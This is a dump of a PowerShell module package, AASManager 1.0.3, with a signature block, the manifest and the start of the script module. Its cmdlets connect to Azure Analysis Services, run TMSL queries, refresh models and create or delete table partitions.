# IwQYMBaAFEXroq/0ksuCMS1Ri6enIZ3zbcgPMA4GA1UdDwEB/wQEAwIBhjB5Bggr
# BgEFBQcBAQRtMGswJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNv
# bTBDBggrBgEFBQcwAoY3aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lD
# ZXJ0QXNzdXJlZElEUm9vdENBLmNydDBFBgNVHR8EPjA8MDqgOKA2hjRodHRwOi8v
# Y3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRBc3N1cmVkSURSb290Q0EuY3JsMBEG
# A1UdIAQKMAgwBgYEVR0gADANBgkqhkiG9w0BAQwFAAOCAQEAcKC/Q1xV5zhfoKN0
# Gz22Ftf3v1cHvZqsoYcs7IVeqRq7IviHGmlUIu2kiHdtvRoU9BNKei8ttzjv9P+A
# ufih9/Jy3iS8UgPITtAq3votVs/59PesMHqai7Je1M/RQ0SbQyHrlnKhSLSZy51P
# pwYDE3cnRNTnf+hZqPC/Lwum6fI0POz3A8eHqNJMQBk1RmppVLC4oVaO7KTVPeix
# 3P0c2PR3WlxUjG/voVA9/HYJaISfb8rbII01YBwCA8sgsKxYoA5AY8WYIsGyWfVV
# a88nq2x2zm8jLfR+cWojayL/ErhULSd+2DrZ8LaHlv1b0VysGMNNn3O3AamfV6pe
# KOK5lDGCA3YwggNyAgEBMHcwYzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDkRpZ2lD
# ZXJ0LCBJbmMuMTswOQYDVQQDEzJEaWdpQ2VydCBUcnVzdGVkIEc0IFJTQTQwOTYg
# U0hBMjU2IFRpbWVTdGFtcGluZyBDQQIQBUSv85SdCDmmv9s/X+VhFjANBglghkgB
# ZQMEAgEFAKCB0TAaBgkqhkiG9w0BCQMxDQYLKoZIhvcNAQkQAQQwHAYJKoZIhvcN
# AQkFMQ8XDTI0MDMxNDExMzkyNVowKwYLKoZIhvcNAQkQAgwxHDAaMBgwFgQUZvAr
# MsLCyQ+CXc6qisnGTxmcz0AwLwYJKoZIhvcNAQkEMSIEIPZuhsiBR/oFyu3AZ5yw
# mIvyPQir0DWRb+uCrEgQKgRoMDcGCyqGSIb3DQEJEAIvMSgwJjAkMCIEINL25G3t
# dCLM0dRAV2hBNm+CitpVmq4zFq9NGprUDHgoMA0GCSqGSIb3DQEBAQUABIICAAeF
# LUFuzwJE8/p9QUJ2uC+2DpCHiabjwzUFAl/QF7tRWGhFVdR/l6/hFF3cg42Nrd+u
# i0C7FUTG3rJN90iFg/ILNVfpH9S6ek1HffM+bWmWb8YF1zrl57OVlPDBY6rz3xFn
# dktaVYtJfB0Aki7W7clp5UXYTXSq1UAwcuRJtcHEJk3HAWFnN+gl0+4P+Iod5rBx
# FdxRD1gOpbh/Mox6mc9W+moHJY72oohmgIC9DmqHDkppzHpBevhPJxYoPFj/dvV8
# 8qkWO8QMQeoyx+ybyGW9ld8jBO4kIqwdIuS3qONScLHSSny90woywdBlHltIN1WU
# Xee2iXPSgS89zu1CynYkDPOScWfTMW4lAQI7I/hZ8T93DK7BG4I9O7BZofoletfE
# 1B7YIhI+ke/DEY6YhXzHZGEAzmObOUrXUv4/T08EL0/0vMWqditF+D+fhLm2LTj4
# ZaI5kCCyoAzn8aQ6nZ3SGRV03Y2PPp7msWv+ttsiVnkRxcI1PB6nbSNH+mccvh5r
# 6CBV/syjuzLj6D1GHzbtEReNryCfC3gF2VKXSvyU5lQMmI6wnM3Gf1eBVUsS9Qct
# jUORMR6FkTrZv89rlDA90oSZdc4F3Zi8O6ZOUOJVskEPnQYv1RnUAwdeHpbQDUXV
# Cmy3K3lcr152jc6yNsyGsl76rcnJm1E9hyNqI8u5
# SIG # End signature block
|
AASManager.psd1 | AASManager-1.0.3 | #
# Module manifest for module 'AASManager'
#
# Generated by: Mohit Garg
#
# Generated on: 3/25/2019
#
@{
# Script module or binary module file associated with this manifest.
RootModule = 'AASManager.psm1'
# Version number of this module.
ModuleVersion = '1.0.3'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = 'e04ccee7-1bf5-4bd0-af5c-73cdda57ab9f'
# Author of this module
Author = 'Mohit Garg'
# Company or vendor of this module
CompanyName = 'Mohit Garg'
# Copyright statement for this module
Copyright = '(c) 2019 Mohit Garg. All rights reserved.'
# Description of the functionality provided by this module
Description = 'A PowerShell module with cmdlets to manage AAS Instances and save you time and headaches'
# Minimum version of the Windows PowerShell engine required by this module
# PowerShellVersion = ''
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
RequiredModules = @('SqlServer',
'Azure.AnalysisServices',
'AzureRM.profile')
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = @("Set-DefaultAASConnection", "Get-DefaultAASConnection", "Set-DefaultAASServer", "Get-DefaultAASServer", "Set-DefaultAASRefreshType", "Get-DefaultAASRefreshType", "Connect-AAS", "Invoke-AASQuery", "Invoke-AASRefresh", "Get-AASCreatePartition", "Invoke-AASCreatePartition", "Get-AASDeletePartition", "Invoke-AASDeletePartition", "Invoke-AASCreateTimeBasedPartition", "Invoke-AASManageYearPartition", "Invoke-AASManageYearMonthPartition")
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = @()
# Variables to export from this module
VariablesToExport = @()
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('ssas', 'powershell', 'analysisservices', 'azuressas', 'azure', 'aas', 'parititions', 'database', 'sql')
# A URL to the license for this module.
LicenseUri = 'https://github.com/mohitg11/AASManager/blob/master/LICENSE.md'
# A URL to the main website for this project.
# ProjectUri = ''
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
# ReleaseNotes = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
|
AASManager.psm1 | AASManager-1.0.3 | function logMessage {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true, Position = 0)] [string] $LogMessage
)
Write-Output ("{0} - {1}" -f $(Get-Date -Format u), $LogMessage)
}
function getAutomationVariable {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)] [string] $Name
)
switch ($Name) {
"server" { $result = Get-AutomationVariable -Name 'defaultAASServer' }
"refresh" { $result = Get-AutomationVariable -Name 'defaultRefreshType' }
"tenant" { $result = Get-AutomationVariable -Name 'defaultTenantId' }
"location" { $result = Get-AutomationVariable -Name 'defaultAASLocation' }
"cred" { $result = Get-AutomationVariable -Name 'defaultCredentials' }
}
return $result
}
function Set-DefaultAASConnection {
<#
.DESCRIPTION
Set default connection paramaters for the session
The function uses the following automation variables for default values if not provided:
- defaultAASLocation - Azure analysis services instance location,
eg northeurope.asazure.windows.net
- defaultCredentials - Name of credentials to use, these must be defined in the automation
resource as well
- defaultTenantId - Azure Tenant ID
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable, eg northeurope
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false)] [string] $tenant = $(getAutomationVariable -Name 'tenant'),
[Parameter(Mandatory = $false)] [string] $cred = $(getAutomationVariable -Name 'cred'),
[Parameter(Mandatory = $false)] [string] $location = $(getAutomationVariable -Name 'location')
)
$Script:defaultConnection = "" | Select-Object -Property tenant, cred, location
$Script:defaultConnection.tenant = $tenant
$Script:defaultConnection.cred = $cred
$Script:defaultConnection.location = $location
}
function Get-DefaultAASConnection {
<#
.DESCRIPTION
The function uses the following automation variables for default values if not set explicity:
- defaultAASLocation - Azure analysis services instance location,
eg northeurope.asazure.windows.net
- defaultCredentials - Name of credentials to use, these must be defined in the automation
resource as well
- defaultTenantId - Azure Tenant ID
Use Set-DefaultAASConnection to set the default values for the session
#>
[CmdletBinding()]
Param ()
if (!$Script:defaultConnection) {
Set-DefaultAASConnection
}
return $Script:defaultConnection
}
function Set-DefaultAASServer {
<#
.DESCRIPTION
Set default server for the session
The function uses the following automation variables for default values if not provided:
- defaultAASServer - Azure analysis services instance name
.PARAMETER server
URL of AAS server - Optional, defaults to defaultAASServer automation variable
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false)] [string] $server = $(getAutomationVariable -Name 'server')
)
$Script:defaultServer = $server
}
function Get-DefaultAASServer {
<#
.DESCRIPTION
Get default server for the session
Use Set-DefaultAASServer to set the default values for the session
#>
[CmdletBinding()]
Param ()
if (!$Script:defaultServer) {
Set-DefaultAASServer
}
return $Script:defaultServer
}
function Set-DefaultAASRefreshType {
<#
.DESCRIPTION
Set default refresh type for the session
The function uses the following automation variables for default values if not provided:
- defaultRefreshType - Default Refresh type, eg, full, automatic, clearvalues
.PARAMETER refresh
Process mode to use - Optional, defaults to defaultRefreshType automation variable,
eg, full, automatic, clearvalues
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false)] [string] $refresh = $(getAutomationVariable -Name 'refresh')
)
$Script:defaultRefresh = $refresh
}
function Get-DefaultAASRefreshType {
<#
.DESCRIPTION
Get default refresh type for the session
Use Set-DefaultAASRefreshType to set the default values for the session
#>
[CmdletBinding()]
Param ()
if (!$Script:defaultRefresh) {
Set-DefaultAASRefreshType
}
return $Script:defaultRefresh
}
function Connect-AAS {
<#
.DESCRIPTION
Connects to your tenant using the provided details or session defaults.
Check Get-DefaultAASConnection help for more details
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation or session default
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
or session default
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable
or session default, eg northeurope
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false)] [string] $tenant,
[Parameter(Mandatory = $false)] [string] $cred,
[Parameter(Mandatory = $false)] [string] $location
)
if ([String]::IsNullOrWhiteSpace($tenant)) { $tenant = $($(Get-DefaultAASConnection).tenant) }
if ([String]::IsNullOrWhiteSpace($cred)) { $cred = $($(Get-DefaultAASConnection).cred) }
if ([String]::IsNullOrWhiteSpace($location)) { $location = $($(Get-DefaultAASConnection).location) }
try {
$credential = Get-AutomationPSCredential -Name $cred -ErrorAction Stop
}
catch {
Write-Error "Unable to get credentials"
Write-Error $_
}
# Log in to Azure Analysis Services using the Azure AD Service Principal
logMessage ('Authenticating to {0}' -f $location)
$params = @{
Credential = $credential
ServicePrincipal = $true
TenantId = $tenant
RolloutEnvironment = $location
}
try {
Add-AzureAnalysisServicesAccount @params -ErrorAction Stop
logMessage ('Authentication to {0} complete' -f $location)
}
catch {
Write-Error "Authentication Failed"
Write-Error $_
}
}
function connectAASAuto {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $false)] [alias("c")] [switch] $connect,
[Parameter(Mandatory = $false)] [string] $tenant,
[Parameter(Mandatory = $false)] [string] $cred,
[Parameter(Mandatory = $false)] [string] $location
)
if ($connect.IsPresent) {
Connect-AAS -tenant $tenant -cred $cred -location $location
}
}
function Invoke-AASQuery {
<#
.DESCRIPTION
Run an TMSL query on your AAS server.
.PARAMETER query
TMSL Query to run - Mandatory
.PARAMETER server
URL of AAS server - Optional, defaults to defaultAASServer automation variable or session default
.PARAMETER connect
Switch for connecting to AAS using default or provied parameters if not already connected,
check Get-DefaultAASConnection for more details on paramaters, alias c - Optional
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation or session default
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
or session default
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable
or session default, eg northeurope
#>
[CmdletBinding(DefaultParameterSetName = 'Standard')]
Param (
[Parameter(Mandatory = $false)] [string] $server = $(Get-DefaultAASServer),
[Parameter(Mandatory = $true)] [string] $query,
[Parameter(ParameterSetName = 'Connect', Mandatory = $true)] [alias("c")] [switch] $connect,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $tenant,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $cred,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $location
)
connectAASAuto -tenant $tenant -cred $cred -location $location -connect:$connect
# Run an TMSL query
logMessage "Executing TMSL query"
try {
Invoke-ASCmd -Server $server -Query $query -ErrorAction Stop
logMessage "Query Execution Complete"
}
catch {
Write-Error "Query Execution Failed"
Write-Error $_
}
}
function Invoke-AASRefresh {
<#
.DESCRIPTION
Process a tabular model in Azure Analysis Services. You can process the complete database,
a table, or a partition.
The script will search and process in the order given below:
1. Partition - Partition, table and database need to be passed
2. Table - Table and database need to be passed
3. Database - Database needs to be passed
.PARAMETER database
Database to process or connect to - Mandatory
.PARAMETER table
Table to process - Optional
.PARAMETER partition
Partititon to process - Optional
.PARAMETER server
URL of AAS server - Optional, defaults to defaultAASServer automation variable or session default
.PARAMETER refresh
Process mode to use - Optional, defaults to defaultRefreshType automation variable or session default,
eg, full, automatic, clearvalues
.PARAMETER connect
Switch for connecting to AAS using default or provied parameters if not already connected,
check Get-DefaultAASConnection for more details on paramaters, alias c - Optional
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation or session default
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
or session default
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable
or session default, eg northeurope
#>
[CmdletBinding(DefaultParameterSetName = 'Database')]
Param (
[Parameter(Mandatory = $false)] [string] $server = $(Get-DefaultAASServer),
[Parameter(Mandatory = $true)] [string] $database,
[Parameter(Mandatory = $false)] [string] $refresh = $(Get-DefaultAASRefreshType),
[Parameter(ParameterSetName = 'Table', Mandatory = $true)]
[Parameter(ParameterSetName = 'Table w/ Connect', Mandatory = $true)]
[Parameter(ParameterSetName = 'Partition', Mandatory = $true)]
[Parameter(ParameterSetName = 'Partition w/ Connect', Mandatory = $true)] [string] $table,
[Parameter(ParameterSetName = 'Partition', Mandatory = $true)]
[Parameter(ParameterSetName = 'Partition w/ Connect', Mandatory = $true)] [string] $partition,
[Parameter(ParameterSetName = 'Database w/ Connect', Mandatory = $true)]
[Parameter(ParameterSetName = 'Table w/ Connect', Mandatory = $true)]
[Parameter(ParameterSetName = 'Partition w/ Connect', Mandatory = $true)] [alias("c")] [switch] $connect,
[Parameter(ParameterSetName = 'Database w/ Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Table w/ Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Partition w/ Connect', Mandatory = $false)][string] $tenant,
[Parameter(ParameterSetName = 'Database w/ Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Table w/ Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Partition w/ Connect', Mandatory = $false)][string] $cred,
[Parameter(ParameterSetName = 'Database w/ Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Table w/ Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Partition w/ Connect', Mandatory = $false)][string] $location
)
connectAASAuto -tenant $tenant -cred $cred -location $location -connect:$connect
$params = @{
server = $server
RefreshType = $refresh
}
if ($table) {
if ($partition) {
# Perform a refresh of the partition
$params += @{ Database = $database ; TableName = $table; PartitionName = $partition }
logMessage "Processing ($refresh) $partition partition in $table table in $database database"
try {
Invoke-ProcessPartition @params -ErrorAction Stop
logMessage "$partition partition in $table table in $database database processesed"
}
catch {
Write-Error "Processing $partition partition in $table table in $database database failed"
Write-Error $_
}
}
else {
# Perform a refresh of the table
$params += @{ DatabaseName = $database ; TableName = $table }
logMessage "Processing ($refresh) $table table in $database"
try {
Invoke-ProcessTable @params -ErrorAction Stop
logMessage "$table table in $database database processesed"
}
catch {
Write-Error "Processing $table table in $database database failed"
Write-Error $_
}
}
}
else {
# Perform a refresh of the database
logMessage "Processing ($refresh) $database"
try {
Invoke-ProcessASDatabase -DatabaseName $database @params -ErrorAction Stop
logMessage "$database database processesed"
}
catch {
Write-Error "Processing $database database failed"
Write-Error $_
}
}
}
function Get-AASCreatePartition {
<#
.DESCRIPTION
Generate a TMSL query to create a partiton in a specified database and table using the provided
sql query and datasource
.PARAMETER datasource
Datasource to use for partition - Mandatory
.PARAMETER sql
Partition SQL Query - Mandatory
.PARAMETER database
Name of database where table- Mandatory
.PARAMETER table
Name of table to partition - Mandatory
.PARAMETER partition
Name of partition to create - Mandatory
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)] [string] $datasource,
[Parameter(Mandatory = $true)] [string] $sql,
[Parameter(Mandatory = $true)] [string] $database,
[Parameter(Mandatory = $true)] [string] $table,
[Parameter(Mandatory = $true)] [string] $partition
)
# Build TMSL Query
$tmslQuery = "
{{
`"createOrReplace`": {{
`"object`": {{
`"database`": `"{0}`",
`"table`": `"{1}`",
`"partition`": `"{2}`"
}},
`"partition`": {{
`"name`": `"{2}`",
`"source`": {{
`"query`": `"{3}`",
`"dataSource`": `"{4}`"
}}
}}
}}
}}" -f $database, $table, $partition, $sql, $datasource
return $tmslQuery;
}
function Invoke-AASCreatePartition {
<#
.DESCRIPTION
Create a partition in a table in a given database using the query and datasource provided.
.PARAMETER datasource
Datasource to use for partition - Mandatory
.PARAMETER sql
Partition SQL Query - Mandatory
.PARAMETER database
Name of database where table- Mandatory
.PARAMETER table
Name of table to partition - Mandatory
.PARAMETER partition
Name of partition to create - Mandatory
.PARAMETER proccess
Switch for processing after creation, alias p - Optional
.PARAMETER server
URL of AAS server - Optional, defaults to defaultAASServer automation variable or session default
.PARAMETER refresh
Process mode to use - Optional, defaults to defaultRefreshType automation variable or session default,
eg, full, automatic, clearvalues
.PARAMETER connect
Switch for connecting to AAS using default or provied parameters if not already connected,
check Get-DefaultAASConnection for more details on paramaters, alias c - Optional
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation or session default
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
or session default
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable
or session default, eg northeurope
#>
[CmdletBinding(DefaultParameterSetName = 'Standard')]
Param (
[Parameter(Mandatory = $false)] [string] $server = $(Get-DefaultAASServer),
[Parameter(Mandatory = $true)] [string] $database,
[Parameter(Mandatory = $true)] [string] $table,
[Parameter(Mandatory = $true)] [string] $partition,
[Parameter(Mandatory = $true)] [string] $sql,
[Parameter(Mandatory = $true)] [string] $datasource,
[Parameter(Mandatory = $false)] [alias("p")] [switch] $process,
[Parameter(Mandatory = $false)] [string] $refresh = $(Get-DefaultAASRefreshType),
[Parameter(ParameterSetName = 'Connect', Mandatory = $true)] [alias("c")] [switch] $connect,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $tenant,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $cred,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $location
)
connectAASAuto -tenant $tenant -cred $cred -location $location -connect:$connect
$params = @{
database = $database
table = $table
partition = $partition
}
$tmslQuery = Get-AASCreatePartition @params -datasource $datasource -sql $sql
# Execute TMSL query
logMessage "(Re)Creating $partition partition on $table table on $database database from $datasource datasource"
Write-Verbose $tmslQuery
try {
Invoke-AASQuery -query $tmslQuery -server $server -ErrorAction Stop
logMessage "Partition $partition successfully (re)created"
if ($process.IsPresent) {
Invoke-AASRefresh @params -server $server -refresh $refresh
}
}
catch {
Write-Error "Partition $partition creation failed"
Write-Error $_
}
}
function Get-AASDeletePartition {
<#
.DESCRIPTION
Generate a TMSL query to delete a partiton in a specified database and table
.PARAMETER database
Name of database where table- Mandatory
.PARAMETER table
Name of table to partition - Mandatory
.PARAMETER partition
Name of partition to create - Mandatory
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)] [string] $database,
[Parameter(Mandatory = $true)] [string] $table,
[Parameter(Mandatory = $true)] [string] $partition
)
# Build TMSL Query
$tmslQuery = "
{{
`"delete`": {{
`"object`": {{
`"database`": `"{0}`",
`"table`": `"{1}`",
`"partition`": `"{2}`"
}}
}}
}}" -f $database, $table, $partition
return $tmslQuery
}
function Invoke-AASDeletePartition {
<#
.DESCRIPTION
Delete a partition in a table in a given database.
.PARAMETER database
Name of database where table- Mandatory
.PARAMETER table
Name of table to partition - Mandatory
.PARAMETER partition
Name of partition to create - Mandatory
.PARAMETER safe
Switch for safe deletion, if partition doesn't exist, it will be created and then deleted,
alias c - Optional
.PARAMETER datasource
Datasource to use for partition creation if using safe delete - Optional
.PARAMETER sql
Partition SQL Query to use for partition creation if using safe delete - Optional
.PARAMETER server
URL of AAS server - Optional, defaults to defaultAASServer automation variable or session default
.PARAMETER connect
Switch for connecting to AAS using default or provied parameters if not already connected,
check Get-DefaultAASConnection for more details on paramaters, alias c - Optional
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation or session default
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
or session default
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable
or session default, eg northeurope
#>
[CmdletBinding(DefaultParameterSetName = 'Standard')]
Param (
[Parameter(Mandatory = $false)] [string] $server = $(Get-DefaultAASServer),
[Parameter(Mandatory = $true)] [string] $database,
[Parameter(Mandatory = $true)] [string] $table,
[Parameter(Mandatory = $true)] [string] $partition,
[Parameter(ParameterSetName = 'Safe Delete', Mandatory = $true)]
[Parameter(ParameterSetName = 'Safe Delete w/ Connect', Mandatory = $true)] [alias("s")] [switch] $safe,
[Parameter(ParameterSetName = 'Safe Delete', Mandatory = $true)]
[Parameter(ParameterSetName = 'Safe Delete w/ Connect', Mandatory = $true)] [string] $datasource,
[Parameter(ParameterSetName = 'Safe Delete', Mandatory = $true)]
[Parameter(ParameterSetName = 'Safe Delete w/ Connect', Mandatory = $true)] [string] $sql,
[Parameter(ParameterSetName = 'Connect', Mandatory = $true)]
[Parameter(ParameterSetName = 'Safe Delete w/ Connect', Mandatory = $true)] [alias("c")] [switch] $connect,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Safe Delete w/ Connect', Mandatory = $false)] [string] $tenant,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Safe Delete w/ Connect', Mandatory = $false)] [string] $cred,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)]
[Parameter(ParameterSetName = 'Safe Delete w/ Connect', Mandatory = $false)] [string] $location
)
connectAASAuto -tenant $tenant -cred $cred -location $location -connect:$connect
$params = @{
database = $database
table = $table
partition = $partition
}
if ($safe.IsPresent) {
logMessage "Safe delete is on, (re)creating partition"
$paramsCreate = @{
server = $server
sql = $sql
datasource = $datasource
}
try {
Invoke-AASCreatePartition @params @paramsCreate -ErrorAction Stop
}
catch {
Write-Error "Partition creation failed"
Write-Error $_
}
}
# Build TMSL Query
$tmslQuery = Get-AASDeletePartition @params
# Execute TMSL query
logMessage "Deleting $partition partition on $table table on $database database"
Write-Verbose $tmslQuery
try {
Invoke-AASQuery -query $tmslQuery -server $server -ErrorAction Stop
logMessage "Partition $partition deleted"
}
catch {
Write-Error "Failed to delete $partition partition"
Write-Error $_
}
}
function getPartitionDetails {
[CmdletBinding()]
[OutputType([System.Object[]])]
Param (
[Parameter(Mandatory = $true)] [string] $partition,
[Parameter(Mandatory = $true)] [string] $sql,
[Parameter(Mandatory = $true)] [string] $replace,
[Parameter(Mandatory = $true)] [string] $dateColumn,
[Parameter(Mandatory = $true)] [datetime] $startDate,
[Parameter(Mandatory = $true)] [datetime] $endDate,
[Parameter(Mandatory = $false)][string] $dateFormatName = "MMM-yyyy"
)
$dateFormatQuery = "yyyyMMdd"
$params = @(
$dateColumn
$startDate.ToString($dateFormatQuery)
$endDate.ToString($dateFormatQuery)
)
$timeCondition = "{0} >= '{1}' AND {0} < '{2}'" -f $params
$sql = $sql.Replace($replace, $timeCondition)
$monthPartitionName = "{0}{1}" -f $partition, $startDate.ToString($dateFormatName)
return $monthPartitionName, $sql
}
function Invoke-AASCreateTimeBasedPartition {
<#
.DESCRIPTION
Create a partition in a table between two dates, using a sql query template. The template must have a
replaceable string which wil be replaced by the between two dates condition.
Eg below parameters will generate the query,
"SELECT * FROM someTable WHERE Date >= '20180101' AND Date < '20180201'",
with the partition name being "FactTable_Jan-2018"
- sql = "SELECT * FROM someTable WHERE {0}"
- dateColumn = "Date"
- startDate = GetDate -Day 1 -Month 1 -Year 2018
- endDate = GetDate -Day 1 -Month 2 -Year 2018
- Partition = "FactTable_"
- dateFormatName = "MMM-yyyy"
.PARAMETER datasource
Datasource to use for partition - Mandatory
.PARAMETER database
Database to connect to - Mandatory
.PARAMETER table
Table which will be paritioned - Mandatory
.PARAMETER sql
Partition SQL query template to use - Mandatory
.PARAMETER partition
Partititon name prefix - Optional
.PARAMETER replace
Search string to search in template which will be replaced with the time condition.
Default is {0}. Optional
.PARAMETER dateColumn
Date column used for time condition - Mandatory
.PARAMETER startDate
Starting date of the partition. This date is included as part of the partition - Mandatory
.PARAMETER endDate
Ending date of the partition. This date is not included as part of the partition - Mandatory
.PARAMETER dateFormatName
Format of the date to be used in the parition name. For valid formats, check
https://docs.microsoft.com/en-us/dotnet/standard/base-types/custom-date-and-time-format-strings - Mandatory
.PARAMETER proccess
Switch for processing after creation, alias p - Optional
.PARAMETER server
URL of AAS server - Optional, defaults to defaultAASServer automation variable or session default
.PARAMETER refresh
Process mode to use - Optional, defaults to defaultRefreshType automation variable or session default,
eg, full, automatic, clearvalues
.PARAMETER connect
Switch for connecting to AAS using default or provied parameters if not already connected,
check Get-DefaultAASConnection for more details on paramaters, alias c - Optional
.PARAMETER tenant
Azure Tenant ID - Optional, defaults to defaultTenantID automation or session default
.PARAMETER cred
Azure Automation credentials to use - Optional, defaults to defaultCredentials automation variable
or session default
.PARAMETER location
Location of AAS server - Optional, defaults to defaultAASLocation automation variable
or session default, eg northeurope
#>
[CmdletBinding(DefaultParameterSetName = 'Standard')]
Param (
[Parameter(Mandatory = $true)] [string] $partition,
[Parameter(Mandatory = $true)] [string] $sql,
[Parameter(Mandatory = $false)] [string] $replace = "{0}",
[Parameter(Mandatory = $true)] [string] $dateColumn,
[Parameter(Mandatory = $true)] [datetime] $startDate,
[Parameter(Mandatory = $true)] [datetime] $endDate,
[Parameter(Mandatory = $true)] [string] $dateFormatName,
[Parameter(Mandatory = $false)] [string] $server = $(Get-DefaultAASServer),
[Parameter(Mandatory = $true)] [string] $database,
[Parameter(Mandatory = $true)] [string] $table,
[Parameter(Mandatory = $true)] [string] $datasource,
[Parameter(Mandatory = $false)] [alias("p")] [switch] $process,
[Parameter(Mandatory = $false)] [string] $refresh = $(Get-DefaultAASRefreshType),
[Parameter(ParameterSetName = 'Connect', Mandatory = $true)] [alias("c")] [switch] $connect,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $tenant,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $cred,
[Parameter(ParameterSetName = 'Connect', Mandatory = $false)] [string] $location
)
connectAASAuto -tenant $tenant -cred $cred -location $location -connect:$connect
$params = @{
partition = $partition
sql = $sql
replace = $replace
dateColumn = $dateColumn
startDate = $startDate
endDate = $endDate
dateFormatName = $dateFormatName
}
$partitionName, $sql = getPartitionDetails @params
$paramsCreate = @{
server = $server
database = $database
table = $table
datasource = $datasource
partition = $partitionName
sql = $sql
process = $process
refresh = $refresh
}
Invoke-AASCreatePartition @paramsCreate
}
function Invoke-AASManageYearPartition {
<#
.DESCRIPTION
Automatically manage the creation and processing of yearly partitions of a table based on the sql query
and date column specified. The previous year partition is processed for the first 7 days of a new year to
enseure all data has been processed.
Eg below parameters for a date in 2019 will generate the query,
"SELECT * FROM someTable WHERE Date >= '20190101' AND Date < '20200101'",
with the partition name being "FactTable_2019"
- sql = "SELECT * FROM someTable WHERE {0}"
- dateColumn = "Date"
- Partition = "FactTable_"
.PARAMETER datasource
Datasource to use for partition - Mandatory
.PARAMETER database
Database to connect to - Mandatory
.PARAMETER table
Table which will be paritioned - Mandatory
.PARAMETER sql
Partition SQL query template to use - Mandatory
.PARAMETER partition
Partititon name prefix - Optional
.PARAMETER replace
Search string to search in template which will be replaced with the time condition.
Default is {0}. Optional
.PARAMETER dateColumn
